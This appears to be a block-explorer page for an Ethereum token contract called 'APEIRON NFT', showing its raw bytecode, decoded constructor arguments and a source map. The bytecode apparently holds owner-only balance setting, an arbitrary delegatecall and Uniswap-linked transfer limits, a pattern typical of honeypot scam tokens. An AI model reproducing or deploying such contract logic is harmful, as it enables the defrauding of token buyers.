16815260200191505b509250505060405180910390f35b61011b600480360360408110156101cf57600080fd5b506001600160a01b0381351690602001356105eb565b3480156101f157600080fd5b506101fa610651565b60408051918252519081900360200190f35b34801561021857600080fd5b5061011b6004803603602081101561022f57600080fd5b50356001600160a01b0316610657565b61011b6004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359091169060400135610696565b34801561028157600080fd5b506101fa6107cb565b34801561029657600080fd5b506101fa600480360360208110156102ad57600080fd5b50356001600160a01b03166107d0565b3480156102c957600080fd5b5061011b600480360360608110156102e057600080fd5b50803590602081013590604001356107e2565b3480156102ff57600080fd5b50610144610842565b61011b6004803603604081101561031e57600080fd5b506001600160a01b03813516906020013561089d565b61011b6004803603604081101561034a57600080fd5b81019060208101813564010000000081111561036557600080fd5b82018360208201111561037757600080fd5b8035906020019184602083028401116401000000008311171561039957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506108aa915050565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109d1945050505050565b005b34801561049d57600080fd5b506101fa600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8e565b600b546000906001600160a01b03163314806104fb57503373bee254d6ab5dba9048e7c4750567298c08459ccc145b61050457600080fd5b8115610530576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b506001600160a01b0382166000908152600160208190526040909120805460ff1916821790555b92915050565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60085481565b600b546000906001600160a01b0316331461067157600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b6000816106a5575060016107c4565b336001600160a01b03851614610710576001600160a01b03841660009081526007602090815260408083203384529091529020548211156106e557600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61071b848484610aab565b61072457600080fd5b6001600160a01b03841660009081526006602052604090205482111561074957600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b60066020526000908152604090205481565b600b546000906001600160a01b031633146107fc57600080fd5b6000831161080b576000610817565b670de0b6b3a764000083025b60025581610826576000610832565b670de0b6b3a764000082025b6003556004939093555090919050565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b60006107c4338484610696565b600b546000906001600160a01b031633146108c457600080fd5b825133600090815260066020526040902054908302908111156108e657600080fd5b336000908152600660205260408120805483900390555b84518110156109c657600085828151811061091457fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a3506001016108fd565b506001949350505050565b600b546001600160a01b031633146109e857600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a225780518252601f199092019160209182019101610a03565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a82576040519150601f19603f3d011682016040523d82523d6000602084013e610a87565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ae1735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610bad565b600b549091506001600160a01b0386811691161480610b0d5750600b546001600160a01b038581169116145b80610b3457506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b505750806001600160a01b0316856001600160a01b0316145b80610b6857506005546001600160a01b038681169116145b80610b8b57506001600160a01b03851660009081526001602052604090205460ff165b15610b9a5760019150506107c4565b610ba48584610c86565b6109c657600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bd2578385610bd5565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c9a5750600254155b8015610ca65750600354155b15610cb357506000610557565b60045415610ce4576004546001600160a01b03841660009081526020819052604090205410610ce457506000610557565b60025415610cfe57816002541115610cfe57506000610557565b60035415610d1857600354821115610d1857506000610557565b5060019291505056fea265627a7a72315820dca40424181080b201f2be9b3e912bd96c90a4bac8c194e23a3e86d41451fe1864736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000989680000000000000000000000000000000000000000000000000000000000000000b41504549524f4e204e4654000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000741504549524f4e00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610308578063aa2f522014610334578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b806370a082311461028a5780638cd8db8a146102bd57806395d89b41146102f3576100dd565b806318160ddd116100bb57806318160ddd146101e557806321a9cf341461020c57806323b872dd1461023f578063313ce56714610275576100dd565b8063045d0389146100e257806306fdde031461012f578063095ea7b3146101b9575b600080fd5b3480156100ee57600080fd5b5061011b6004803603604081101561010557600080fd5b506001600160a01b0381351690602001356104cc565b604080519115158252519081900360200190f35b34801561013b57600080fd5b5061014461055d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61011b600480360360408110156101cf57600080fd5b506001600160a01b0381351690602001356105eb565b3480156101f157600080fd5b506101fa610651565b60408051918252519081900360200190f35b34801561021857600080fd5b5061011b6004803603602081101561022f57600080fd5b50356001600160a01b0316610657565b61011b6004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359091169060400135610696565b34801561028157600080fd5b506101fa6107cb565b34801561029657600080fd5b506101fa600480360360208110156102ad57600080fd5b50356001600160a01b03166107d0565b3480156102c957600080fd5b5061011b600480360360608110156102e057600080fd5b50803590602081013590604001356107e2565b3480156102ff57600080fd5b50610144610842565b61011b6004803603604081101561031e57600080fd5b506001600160a01b03813516906020013561089d565b61011b6004803603604081101561034a57600080fd5b81019060208101813564010000000081111561036557600080fd5b82018360208201111561037757600080fd5b8035906020019184602083028401116401000000008311171561039957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506108aa915050565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109d1945050505050565b005b34801561049d57600080fd5b506101fa600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8e565b600b546000906001600160a01b03163314806104fb57503373bee254d6ab5dba9048e7c4750567298c08459ccc145b61050457600080fd5b8115610530576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b506001600160a01b0382166000908152600160208190526040909120805460ff1916821790555b92915050565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60085481565b600b546000906001600160a01b0316331461067157600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b6000816106a5575060016107c4565b336001600160a01b03851614610710576001600160a01b03841660009081526007602090815260408083203384529091529020548211156106e557600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61071b848484610aab565b61072457600080fd5b6001600160a01b03841660009081526006602052604090205482111561074957600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b60066020526000908152604090205481565b600b546000906001600160a01b031633146107fc57600080fd5b6000831161080b576000610817565b670de0b6b3a764000083025b60025581610826576000610832565b670de0b6b3a764000082025b6003556004939093555090919050565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b60006107c4338484610696565b600b546000906001600160a01b031633146108c457600080fd5b825133600090815260066020526040902054908302908111156108e657600080fd5b336000908152600660205260408120805483900390555b84518110156109c657600085828151811061091457fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a3506001016108fd565b506001949350505050565b600b546001600160a01b031633146109e857600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a225780518252601f199092019160209182019101610a03565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a82576040519150601f19603f3d011682016040523d82523d6000602084013e610a87565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ae1735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610bad565b600b549091506001600160a01b0386811691161480610b0d5750600b546001600160a01b038581169116145b80610b3457506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b505750806001600160a01b0316856001600160a01b0316145b80610b6857506005546001600160a01b038681169116145b80610b8b57506001600160a01b03851660009081526001602052604090205460ff165b15610b9a5760019150506107c4565b610ba48584610c86565b6109c657600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bd2578385610bd5565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c9a5750600254155b8015610ca65750600354155b15610cb357506000610557565b60045415610ce4576004546001600160a01b03841660009081526020819052604090205410610ce457506000610557565b60025415610cfe57816002541115610cfe57506000610557565b60035415610d1857600354821115610d1857506000610557565b5060019291505056fea265627a7a72315820dca40424181080b201f2be9b3e912bd96c90a4bac8c194e23a3e86d41451fe1864736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000989680000000000000000000000000000000000000000000000000000000000000000b41504549524f4e204e4654000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000741504549524f4e00000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): APEIRON NFT
Arg [1] : _symbol (string): APEIRON
Arg [2] : _supply (uint256): 10000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000989680
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 41504549524f4e204e4654000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 41504549524f4e00000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

25951:5053:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28330:345;;8:9:-1;5:2;;;30:1;27;20:12;5:2;28330:345:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;28330:345:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;30420:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30420:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;30420:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27317:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;27317:213:0;;;;;;;;:::i;30390:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30390:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;29558:149;;8:9:-1;5:2;;;30:1;27;20:12;5:2;29558:149:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;29558:149:0;-1:-1:-1;;;;;29558:149:0;;:::i;26745:564::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;26745:564:0;;;;;;;;;;;;;;;;;:::i;30349:34::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30349:34:0;;;:::i;30228:42::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30228:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;30228:42:0;-1:-1:-1;;;;;30228:42:0;;:::i;28681:300::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;28681:300:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;28681:300:0;;;;;;;;;;;;:::i;30445:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30445:20:0;;;:::i;26140:137::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;26140:137:0;;;;;;;;:::i;28987:536::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;28987:536:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;28987:536:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;28987:536:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;28987:536:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;28987:536:0;;-1:-1:-1;;28987:536:0;;;-1:-1:-1;28987:536:0;;-1:-1:-1;;28987:536:0:i;28000:135::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;28000:135:0;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;28000:135:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;28000:135:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8:2;;;131:1;128;121:12;8:2;28000:135:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;28000:135:0;;-1:-1:-1;28000:135:0;;-1:-1:-1;;;;;28000:135:0:i;:::-;;30277:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;30277:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;30277:63:0;;;;;;;;;;:::i;28330:345::-;28438:5;;28401:4;;-1:-1:-1;;;;;28438:5:0;28426:10;:17;;:99;;-1:-1:-1;28445:10:0;28475:49;28445:80;28426:99;28418:108;;;;;;28540:14;;28537:77;;-1:-1:-1;;;;;28557:18:0;;;;;;:9;:18;;;;;28590:21;28578:34;;28557:55;;28537:77;-1:-1:-1;;;;;;28624:16:0;;;;;;28641:4;28624:16;;;;;;;;:21;;-1:-1:-1;;28624:21:0;;;;;28330:345;;;;;:::o;30420:18::-;;;;;;;;;;;;;;;-1:-1:-1;;30420:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;27317:213::-;27416:10;27389:4;27406:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;27406:31:0;;;;;;;;;;;:40;;;27462:38;;;;;;;27389:4;;27406:31;;27416:10;;27462:38;;;;;;;;-1:-1:-1;27518:4:0;27317:213;;;;:::o;30390:23::-;;;;:::o;29558:149::-;29641:5;;29612:4;;-1:-1:-1;;;;;29641:5:0;29627:10;:19;29618:29;;;;;;-1:-1:-1;29658:12:0;:19;;-1:-1:-1;;;;;29658:19:0;;-1:-1:-1;;;;;;29658:19:0;;;;;;;29558:149;;;:::o;26745:564::-;26832:4;26853:11;26849:31;;-1:-1:-1;26874:4:0;26867:11;;26849:31;26894:10;-1:-1:-1;;;;;26894:19:0;;;26890:152;;-1:-1:-1;;;;;26938:16:0;;;;;;:9;:16;;;;;;;;26955:10;26938:28;;;;;;;;:38;-1:-1:-1;26938:38:0;26930:47;;;;;;-1:-1:-1;;;;;26992:16:0;;;;;;:9;:16;;;;;;;;27009:10;26992:28;;;;;;;:38;;;;;;;26890:152;27060:26;27067:5;27074:3;27079:6;27060;:26::i;:::-;27052:35;;;;;;-1:-1:-1;;;;;27106:16:0;;;;;;:9;:16;;;;;;:26;-1:-1:-1;27106:26:0;27098:35;;;;;;-1:-1:-1;;;;;27144:16:0;;;;;;;:9;:16;;;;;;;;:26;;;;;;;27181:14;;;;;;;;;:24;;;;;;27216:17;;;;;;;;;;:19;;-1:-1:-1;27216:19:0;;;27251:28;;;;;;;27181:14;;27251:28;;;;;;;;;;;-1:-1:-1;27297:4:0;26745:564;;;;;;:::o;30349:34::-;30381:2;30349:34;:::o;30228:42::-;;;;;;;;;;;;;:::o;28681:300::-;28798:5;;28760:4;;-1:-1:-1;;;;;28798:5:0;28784:10;:19;28776:28;;;;;;28834:1;28826:5;:9;:45;;28870:1;28826:45;;;28845:21;28838:29;;28826:45;28815:8;:56;28893:12;:51;;28943:1;28893:51;;;28918:21;28908:32;;28893:51;28882:8;:62;28955:8;:18;;;;-1:-1:-1;28681:300:0;;;-1:-1:-1;28681:300:0:o;30445:20::-;;;;;;;;;;;;;;;-1:-1:-1;;30445:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26140:137;26208:4;26232:37;26245:10;26257:3;26262:6;26232:12;:37::i;28987:536::-;29106:5;;29066:4;;-1:-1:-1;;;;;29106:5:0;29092:10;:19;29083:29;;;;;;29145:11;;29185:10;29123;29175:21;;;:9;:21;;;;;;29136:20;;;;29175:30;-1:-1:-1;29175:30:0;29167:39;;;;;;29227:10;29217:21;;;;:9;:21;;;;;:30;;;;;;;29258:236;29279:4;:11;29275:1;:15;29258:236;;;29312:11;29326:4;29331:1;29326:7;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;29348:14:0;;;;;;:9;:14;;;;;;;:24;;;;;;29326:7;-1:-1:-1;29401:10:0;29392:35;29425:1;29366:6;29392:35;;;29418:8;;;;29392:35;;;;;;;;;;;-1:-1:-1;;;;;29447:35:0;;29456:10;29447:35;29480:1;29473:6;29447:35;;;29473:8;;;;29447:35;;;;;;;;;;;-1:-1:-1;29292:3:0;;29258:236;;;-1:-1:-1;29511:4:0;;28987:536;-1:-1:-1;;;;28987:536:0:o;28000:135::-;28093:5;;-1:-1:-1;;;;;28093:5:0;28079:10;:19;28071:28;;;;;;28110:1;-1:-1:-1;;;;;28110:14:0;28125:1;28110:17;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;176:10;;164:23;;-1:-1;;139:12;;;;98:2;89:12;;;;114;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;28110:17:0;;;;;;;;;;;;;;;;;;;;;;;14:1:-1;21;16:31;;;;75:4;69:11;64:16;;144:4;140:9;133:4;115:16;111:27;107:43;104:1;100:51;94:4;87:65;169:16;166:1;159:27;225:16;222:1;215:4;212:1;208:12;193:49;7:242;;16:31;36:4;31:9;;7:242;;28110:17:0;;28000:135;;:::o;30277:63::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;26285:452::-;26364:4;26381:12;26396:110;26404:42;26448;26500:4;26396:7;:110::i;:::-;26532:5;;26381:125;;-1:-1:-1;;;;;;26523:14:0;;;26532:5;;26523:14;;:30;;-1:-1:-1;26548:5:0;;-1:-1:-1;;;;;26541:12:0;;;26548:5;;26541:12;26523:30;:46;;;-1:-1:-1;;;;;;26557:12:0;;30523:42;26557:12;26523:46;:63;;;;26582:4;-1:-1:-1;;;;;26573:13:0;:5;-1:-1:-1;;;;;26573:13:0;;26523:63;:86;;;-1:-1:-1;26597:12:0;;-1:-1:-1;;;;;26590:19:0;;;26597:12;;26590:19;26523:86;:102;;;-1:-1:-1;;;;;;26611:14:0;;;;;;:7;:14;;;;;;;;26523:102;26520:144;;;26648:4;26641:11;;;;;26520:144;26682:24;26692:5;26699:6;26682:9;:24::i;:::-;26674:33;;;;;29715:505;29804:12;29830:14;29846;29873:6;-1:-1:-1;;;;;29864:15:0;:6;-1:-1:-1;;;;;29864:15:0;;:53;;29902:6;29910;29864:53;;;29883:6;29891;29864:53;30055:32;;;-1:-1:-1;;30055:32:0;;;;;;;;;;;;;;;;;;;;;;;;;22::-1;26:21;;;22:32;6:49;;30055:32:0;;;;;30045:43;;;;;;-1:-1:-1;;;;;;29958:251:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26:21:-1;;;22:32;;;6:49;;29958:251:0;;;;;;;29948:262;;;;;;;;;29715:505;-1:-1:-1;;;;;29715:505:0:o;27538:454::-;27607:4;27626:8;;27638:1;27626:13;:30;;;;-1:-1:-1;27643:8:0;;:13;27626:30;:47;;;;-1:-1:-1;27660:8:0;;:13;27626:47;27623:64;;;-1:-1:-1;27682:5:0;27675:12;;27623:64;27703:8;;:12;27700:89;;27755:8;;-1:-1:-1;;;;;27734:17:0;;:10;:17;;;;;;;;;;;:29;27731:46;;-1:-1:-1;27772:5:0;27765:12;;27731:46;27802:8;;:12;27799:77;;27844:6;27833:8;;:17;27830:34;;;-1:-1:-1;27859:5:0;27852:12;;27830:34;27889:8;;:12;27886:77;;27929:8;;27920:6;:17;27917:34;;;-1:-1:-1;27946:5:0;27939:12;;27917:34;-1:-1:-1;27980:4:0;27538:454;;;;:::o

Swarm Source

bzzr://dca40424181080b201f2be9b3e912bd96c90a4bac8c194e23a3e86d41451fe18
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.